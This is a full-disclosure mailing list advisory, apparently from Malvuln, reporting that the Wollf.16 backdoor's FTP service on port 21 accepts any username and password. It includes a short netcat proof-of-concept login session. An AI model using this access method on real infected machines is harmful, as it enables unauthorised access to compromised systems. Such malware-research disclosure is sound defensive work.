full-disclosure - [FD] Backdoor.Win32.Wollf.16 / Authentication Bypass

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Message-ID: <CAAHK0WSky9CuKUrNGUiw+AM1S=LP3kQx_1_LZFCS7n0K71AaPA@mail.gmail.com>
Date: Thu, 20 Jan 2022 21:31:27 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.16 / Authentication Bypass

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/204613443e555f73237ea43a2faecaa5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 1015 and has an FTPD feature
that when enabled listens on TCP port 21. Third-party attackers who can
reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 204613443e555f73237ea43a2faecaa5
Vuln ID: MVID-2022-0462
Dropped files: ddradmin.exe
Disclosure: 01/20/2022

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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